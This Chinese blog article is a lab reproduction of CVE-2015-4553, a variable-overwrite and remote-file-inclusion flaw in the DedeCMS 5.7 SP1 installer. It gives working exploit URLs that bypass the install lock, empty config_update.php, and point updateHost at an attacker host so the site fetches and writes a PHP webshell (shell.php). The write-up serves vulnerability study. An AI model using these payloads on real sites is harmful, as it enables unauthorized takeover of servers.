DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)

 更新时间:2019年08月14日 14:03:29   作者:雨中落叶  
这篇文章主要介绍了DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)的相关知识,本文图文并茂给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下

一、漏洞描述

该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖,以至于最后引起远程文件包含漏洞。

二、漏洞影响版本

DeDeCMS < 5.7-sp1,包括5.7 sp1版本

三、漏洞环境搭建

1、下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后浏览器访http://192.168.10.171/dedecms/uploads/install/index.php

  

2、点击我已阅读并继续。然后是环境检测,保存默认即可

  

3、接下来是参数配置,需要设置的只有数据库密码,把自己的密码填上去就行了

  

4、然后就把环境搭好了

  

四、漏洞复现

1、查看/install/index.php源码,发现存在变量覆盖漏洞,该代码的意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入?str=hello,则$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函数在另一个文件中定义的,大致就是对参数进行过滤然后返回参数内容。

  

  

2、尝试通过变量覆盖重装网站,浏览器访问

  

3、变量覆盖后,直接进入安装界面,但是由于安装锁的存在不能继续重新安装,除非删除安装锁http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1

  

4、只有变量覆盖暂时还不够,继续浏览代码,发现最后几行代码

  

4.1、这段代码首先包含了/data/admin/config_update.php文件, 这里定义了变量updateHost

文件内容如下:

  

4.2、继续看373-387行代码,$updateHost与dedecms/demodata.{$a_lang}.txt拼接为字符串,并利用files_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name参数中。

4.3、因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。

5、由于$updateHost变量是引入进来的,所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。

5.1、这时候可以利用fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件,而file_get_contents读取文件失败会返回NULL

  

5.2、然后利用fwrite函数,这里可以利用变量覆盖,将$s_lang随意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,为了程序能够执行到这里,需要将$step设置为11,这样就达到了清空config_update.php的目的。

构造payload: http://192.168.10.171/dedecms/uploads/install/index.php?

step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php

浏览器访问,提示如下

  

5.3、查看代码,发现这里有一个判断文件是否存在(也就是判断网站是否安装)的条件,通过变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以绕过这个条件的限制

  

5.4、再次构造payload:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php

  

5.5、此时可以看到config_update.php会发现已经变为0kb,空文件

  

5.6、config_update.php文件内容被清空之后,这时我们就可以控制updateHost参数了,这时我们就可以开始远程文件包含上传我们想要上传的文件了

5.7、在kali上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?> ,然后开启web服务

  

5.8、再次构造payload, install_demo_name改为要上传的路径,updateHost改为远程目标机的IP

Payload如下:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/

浏览器访问,出现界面说明写入成功

  

5.9、查看是否上传成功,确定上传成功

  

6、浏览器访问上传的shell.php

  

总结

以上所述是小编给大家介绍的DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553),希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

相关文章

  • matlab画三维图像的示例代码(附demo)

    matlab画三维图像的示例代码(附demo)

    这篇文章主要介绍了matlab画三维图像的示例代码(附demo),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-12-12
  • Deepseek使用指南与提问优化策略方式

    Deepseek使用指南与提问优化策略方式

    本文介绍了DeepSeek语义搜索引擎的核心功能、集成方法及优化提问策略,通过自然语言处理和机器学习提供精准搜索结果,适用于智能客服、知识库检索等领域
    2025-02-02
  • 网址(URL)支持的最大长度是多少?最大支持多少个字符?

    网址(URL)支持的最大长度是多少?最大支持多少个字符?

    这篇文章主要介绍了网址(URL)支持的最大长度是多少?最大支持多少个字符?本文总结了IIS、apache服务器及浏览器软件Internet Explorer、Firefox、Opera、chrome等主流的浏览器软件支持情况,需要的朋友可以参考下
    2015-07-07
  • Iris 环境搭建详细教程(最新版Go&IDEA&IrisV12)

    Iris 环境搭建详细教程(最新版Go&IDEA&IrisV12)

    这篇文章主要介绍了Iris 环境搭建(最新版Go&IDEA&IrisV12),本文通过示例图文相结合给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2021-11-11
  • Jenkins部署war包和部署jar包的详细步骤

    Jenkins部署war包和部署jar包的详细步骤

    这篇文章主要介绍了Jenkins部署war包和部署jar包的详细步骤,本恩分步骤通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-10-10
  • Git基础之git与SVN版本控制优缺点区别分析

    Git基础之git与SVN版本控制优缺点区别分析

    这篇文章主要为大家介绍了Git基础之git与SVN优缺点及区别分析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2022-04-04
  • DeepSeek-R1本地部署的极简教程

    DeepSeek-R1本地部署的极简教程

    最近,deepseek ai发布了一个超强开源版本的大模型,效果接近于Chat GPT o1-mini,并且提供了支持本地部署的版本,本教程旨在让读者学会本地部署,感兴趣的小伙伴跟着小编一起来看看吧
    2025-03-03
  • ollama搭建本地ai大模型并应用调用的操作方法

    ollama搭建本地ai大模型并应用调用的操作方法

    这篇文章详细介绍了如何下载、安装和使用OLLAMA大模型,包括启动配置模型、配置UI界面、搭建本地知识库、配置文件开发、环境变量配置以及通过Golang实现接口调用的示例
    2024-11-11
  • 一个假冒的序列号被用来注册Internet Download Manager,IDM正在退出的解决办法

    一个假冒的序列号被用来注册Internet Download Manager,IDM正在退出的解决办法

    这篇文章主要介绍了一个假冒的序列号被用来注册Internet Download Manager IDM正在退出的解决办法,在文章末尾给大家分享了序列号和绿色软件,大家根据自身情况选择,需要的朋友可以参考下
    2023-01-01
  • chatGPT deBug解决管理员登入服务器返回401问题

    chatGPT deBug解决管理员登入服务器返回401问题

    这篇文章主要介绍了chatGPT deBug解决管理员登入,服务器返回401,没有拿到数据,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-05-05

最新评论